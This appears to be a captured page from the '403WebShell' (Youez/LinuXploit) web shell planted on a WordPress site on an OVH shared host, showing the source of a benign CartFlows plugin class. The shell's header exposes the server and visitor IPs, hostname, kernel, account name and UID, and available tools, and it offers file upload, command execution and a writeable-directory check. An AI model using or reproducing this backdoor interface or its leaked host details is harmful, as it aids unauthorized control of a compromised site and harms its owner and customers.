Uname:Linux webm009.cluster131.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64

403WebShell
403Webshell
Server IP : 146.59.209.152  /  Your IP : 216.73.216.152
Web Server : Apache
System : Linux webm009.cluster131.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User : monpetu ( 144298)
PHP Version : 7.4.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/monpetu/www/ipprint/wp-content/plugins/cartflows/classes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/monpetu/www/ipprint/wp-content/plugins/cartflows/classes//class-cartflows-woo-hooks.php
<?php
/**
 * Woo hooks for compatibility. Data processed for performance.
 *
 * @package CartFlows
 */

// Exit if accessed directly.
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}
/**
 * Class for elementor page builder compatibility
 */
class Cartflows_Woo_Hooks {

	/**
	 * Member Variable
	 *
	 * @var instance
	 */
	private static $instance;

	/**
	 * Member Variable
	 *
	 * @var instance
	 */
	public static $ajax_data = array();

	/**
	 *  Initiator
	 */
	public static function get_instance() {
		if ( ! isset( self::$instance ) ) {
			self::$instance = new self();
		}
		return self::$instance;
	}

	/**
	 *  Constructor
	 */
	public function __construct() {

		add_action( 'wp', array( $this, 'register_wc_hooks' ), 10 );
	}

	/**
	 * Rgister wc hookes for elementor preview mode
	 */
	public function register_wc_hooks() {

		// Using global variable on WordPress hooks.Hence ignoring nonce verification.
		if ( isset( $_GET['wc-ajax'] ) && 'update_order_review' === $_GET['wc-ajax'] ) { //phpcs:ignore WordPress.Security.NonceVerification.Recommended
			$post_data = array();

			$post_raw_data = isset( $_POST['post_data'] ) ? sanitize_text_field( wp_unslash( $_POST['post_data'] ) ) : ''; //phpcs:ignore WordPress.Security.NonceVerification.Missing

			parse_str( $post_raw_data, $post_data );

			self::$ajax_data = $post_data;

			do_action( 'cartflows_woo_checkout_update_order_review_init', self::$ajax_data );

			/* Woocommerce update order action */
			add_action( 'woocommerce_checkout_update_order_review', array( $this, 'update_order_review_hook' ) );
		}

	}

	/**
	 * Update order review hook
	 *
	 * @param string $post_raw_data post data.
	 */
	public function update_order_review_hook( $post_raw_data ) {

		do_action( 'cartflows_woo_checkout_update_order_review', self::$ajax_data );
	}
}

/**
 *  Kicking this off by calling 'get_instance()' method
 */
Cartflows_Woo_Hooks::get_instance();

Youez - 2016 - github.com/yon3zu
LinuXploit